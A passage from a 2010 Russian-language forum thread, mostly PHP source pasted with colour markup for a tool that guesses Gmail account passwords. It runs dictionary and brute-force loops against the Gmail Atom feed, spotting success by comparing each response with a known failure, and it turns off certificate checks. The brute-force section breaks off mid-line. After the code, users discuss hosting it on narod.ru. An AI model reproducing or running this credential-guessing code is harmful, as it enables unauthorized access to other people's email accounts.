COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_init[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'https://mail.google.com/mail/feed/atom'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_HTTPAUTH[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLAUTH_ANY[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// use authentication

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_HTTPHEADER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// send the headers

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_RETURNTRANSFER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// We need to fetch something from a string, so no direct output!

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_FOLLOWLOCATION[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// we get redirected, so follow

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_SSL_VERIFYPEER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_SSL_VERIFYHOST[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_UNRESTRICTED_AUTH[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// always stay authorised

[/COLOR][COLOR="#0000BB"]$wrong[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_exec[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// Get it

[/COLOR][COLOR="#0000BB"]curl_close[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// Close the curl stream

[/COLOR][COLOR="#007700"]}

[/
COLOR][COLOR="#FF8000"]//Dictionary Attack

[/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'attack'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]"dictionary"[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$Dictionary[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$dic[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"r"[/COLOR][COLOR="#007700"]);

do {

[/
COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fgets[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$Dictionary[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]";"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"@"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]);

if([/COLOR][COLOR="#0000BB"]check_correct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]])) {

print([/COLOR][COLOR="#DD0000"]"





"
[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"@"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]";"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$pair[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"





"
[/COLOR][COLOR="#007700"]);

}

} while (![/COLOR][COLOR="#0000BB"]feof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$Dictionary[/COLOR][COLOR="#007700"]));

echo[/COLOR][COLOR="#DD0000"]"





Sorry... a password was not found for the account of "
[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$login[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]" during the dictionar

y attack.





"
[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#FF8000"]//Brute Attack

[/COLOR][COLOR="#007700"]elseif([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'attack'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]"brute"[/COLOR][COLOR="#007700"]) {

for ([/COLOR][COLOR="#0000BB"]$Pass[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$Pass[/COLOR][COLOR="#007700"]





Found the password of
: "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$Dictionary[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$Position[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"
For the account: "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$username[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"





"[/COLOR][COLOR="#007700"]);

}

}

echo[/COLOR][COLOR="#DD0000"]"





Sorry... a password was not found for the account of "
[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$username[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" during the brute for

ce attack.





"
[/COLOR][COLOR="#007700"];

}

echo[/
COLOR][COLOR="#DD0000"]"

"
[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#FF8000"]// Function for checking whether the username and password are correct

[/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]check_correct[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$username[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"])

{

global[/COLOR][COLOR="#0000BB"]$wrong[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_init[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'https://'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$username[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$password[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'@mail.google.com/mail/feed/atom'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_HTTPAUTH[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLAUTH_ANY[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// use authentication

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_HTTPHEADER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$headers[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// send the headers

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_RETURNTRANSFER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// We need to fetch something from a string, so no direct output!

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_FOLLOWLOCATION[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// we get redirected, so follow

[/COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_SSL_VERIFYPEER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_SSL_VERIFYHOST[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_UNRESTRICTED_AUTH[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// always stay authorised

[/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_exec[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// Get it

[/COLOR][COLOR="#0000BB"]curl_close[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]);

if([/COLOR][COLOR="#0000BB"]$str[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#0000BB"]$wrong[/COLOR][COLOR="#007700"]) {return[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];}

else {return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];}

}

[/
COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR] 


глянь какая у меня хрень получилась... что не так?

http://dozdroperma12.narod.ru/index.htm

Avtoritet 06.11.2010 14:02

Цитата:

Сообщение от Avtoritet
глянь какая у меня хрень получилась... что не так?
http://dozdroperma12.narod.ru/index.htm

вот так

Mr.Burns 06.11.2010 17:51

Цитата:

Сообщение от Avtoritet
вот так

народ не поддерживает пыхпых.

Avtoritet 06.11.2010 17:54

Цитата:

Сообщение от Mr.Burns
народ не поддерживает пыхпых.

спасиб, тупанул


Время: 03:01